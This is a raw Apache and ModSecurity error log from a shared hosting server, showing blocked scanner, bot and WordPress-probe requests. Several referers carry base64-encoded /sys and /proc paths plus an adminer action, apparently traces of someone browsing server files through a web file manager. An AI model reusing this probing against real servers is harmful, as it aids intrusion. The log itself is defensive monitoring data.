[pid 531797:tid 531961] [remote 57.141.14.60:20812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:56.301676 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.60:20812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:56.302609 2026] [security2:error] [pid 531155:tid 531301] [client 143.244.57.82:51950] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "ai3xzCmiP80klyS0NnoBEAAAARo"] [Sat Jun 13 18:11:56.369380 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:11:56.369670 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:11:56.556711 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.44:33283] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:56.556983 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.44:33283] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:56.559334 2026] [security2:error] [pid 531155:tid 531274] [remote 2a0a:ef40:2bc:801:b0b0:881f:6dac:ead0:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xzCmiP80klyS0NnoBFQABEXY"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:56.559357 2026] [security2:error] [pid 531155:tid 531274] [remote 2a0a:ef40:2bc:801:b0b0:881f:6dac:ead0:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xzCmiP80klyS0NnoBFQABEXY"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:56.579334 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.99:36404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:56.579605 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.99:36404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:56.660041 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:33920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:11:56.660401 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:33920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:11:56.881825 2026] [security2:error] [pid 531155:tid 531208] [remote 17.241.75.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzCmiP80klyS0NnoBHgABCzQ"] [Sat Jun 13 18:11:56.900098 2026] [security2:error] [pid 531797:tid 532015] [client 143.244.57.82:51966] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3xzMTA7b1mZrmcA-8wygAAAic"] [Sat Jun 13 18:11:56.958175 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:11:56.958616 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:11:56.981030 2026] [security2:error] [pid 531155:tid 531264] [remote 216.73.216.182:10637] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3xzCmiP80klyS0NnoBJAABTWw"] [Sat Jun 13 18:11:57.044729 2026] [security2:error] [pid 531155:tid 531221] [remote 74.7.227.22:33920] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xzSmiP80klyS0NnoBJQABdkE"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:11:57.075724 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.31:64178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:57.078521 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.31:64178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:57.100929 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.8:50473] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:57.101317 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.8:50473] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:57.123757 2026] [security2:error] [pid 531797:tid 531884] [remote 17.22.245.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzcTA7b1mZrmcA-8w2gACIBQ"] [Sat Jun 13 18:11:57.135248 2026] [security2:error] [pid 531797:tid 531909] [remote 17.22.253.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzcTA7b1mZrmcA-8w3AACky0"] [Sat Jun 13 18:11:57.294686 2026] [security2:error] [pid 531155:tid 531178] [remote 17.241.227.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzSmiP80klyS0NnoBLwABQxY"] [Sat Jun 13 18:11:57.408117 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2svZGV2aWNlL2lk [Sat Jun 13 18:11:57.408535 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2svZGV2aWNlL2lk [Sat Jun 13 18:11:57.413505 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.103:26528] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:57.413810 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.103:26528] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:57.496739 2026] [security2:error] [pid 531797:tid 532017] [client 143.244.57.82:51970] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "ai3xzcTA7b1mZrmcA-8w5QAAAik"] [Sat Jun 13 18:11:57.937071 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:11:57.937527 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:11:58.067492 2026] [security2:error] [pid 531797:tid 532089] [client 182.161.73.9:0] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.hamaraquetta.com"] [uri "/index.php/profile/id/402/malik-m-nawaz"] [unique_id "ai3xzMTA7b1mZrmcA-8wvgAAAm4"] [Sat Jun 13 18:11:58.091690 2026] [security2:error] [pid 531155:tid 531388] [client 143.244.57.82:51984] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "ai3xzimiP80klyS0NnoBRAAAAXE"] [Sat Jun 13 18:11:58.105955 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.24:41648] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:58.106237 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.24:41648] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:58.327513 2026] [security2:error] [pid 531797:tid 531883] [remote 17.22.245.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzsTA7b1mZrmcA-8w_wACUxM"] [Sat Jun 13 18:11:58.340233 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.40:23066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:58.340688 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.40:23066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:58.449521 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:11:58.449805 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:11:58.685032 2026] [security2:error] [pid 531797:tid 532105] [client 143.244.57.82:51986] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "ai3xzsTA7b1mZrmcA-8xDgAAAn4"] [Sat Jun 13 18:11:58.874568 2026] [security2:error] [pid 531797:tid 531919] [remote 17.246.15.143:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzsTA7b1mZrmcA-8xFwACUDc"] [Sat Jun 13 18:11:58.924384 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.59:23039] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:58.924835 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.59:23039] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:58.982271 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:11:58.982718 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:11:59.000792 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.110:51124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:59.001242 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.110:51124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:59.095507 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.101:38636] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:59.095805 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.101:38636] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:59.285823 2026] [security2:error] [pid 531797:tid 532074] [client 143.244.57.82:51996] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "ai3xz8TA7b1mZrmcA-8xKgAAAmA"] [Sat Jun 13 18:11:59.323126 2026] [core:error] [pid 531155:tid 531381] [client 47.79.205.209:59970] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:11:59.323145 2026] [core:error] [pid 531155:tid 531381] [client 47.79.205.209:59970] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:11:59.458505 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.12:23422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:59.458797 2026] 